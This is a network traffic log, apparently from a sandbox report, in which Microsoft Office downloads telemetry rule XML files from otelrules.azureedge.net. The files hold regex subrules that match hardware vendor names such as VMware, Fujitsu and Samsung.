2024-11-23 19:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192306Z-174c587ffdfp4vpjhC1TEBybqw00000003d00000000069pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:08 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192308Z-174c587ffdf9xbcchC1TEBxkz4000000039g0000000031qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:08 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192308Z-178bfbc474bvjk8shC1NYC83ns00000004ug000000001s92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:08 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f380030e-501e-007b-0625-3d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192308Z-178bfbc474bp8mkvhC1NYCzqnn00000004qg00000000c5qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:08 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192308Z-178bfbc474b9fdhphC1NYCac0n00000004ug000000009km4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:08 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:08 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192308Z-174c587ffdftjz9shC1TEBsh98000000037000000000bdwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192310Z-178bfbc474bq2pr7hC1NYCkfgg0000000530000000004zp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:10 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192310Z-174c587ffdfcb7qhhC1TEB3x7000000003bg00000000krkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:10 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192310Z-174c587ffdfb485jhC1TEBmc1s000000036000000000b68f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:10 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192310Z-178bfbc474bpnd5vhC1NYC4vr400000004ug00000000ewpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:10 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 57389be4-e01e-0003-606c-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192311Z-174c587ffdfks6tlhC1TEBeza400000003cg00000000ghu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:11 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:12 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192313Z-178bfbc474bmqmgjhC1NYCy16c00000005200000000024z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
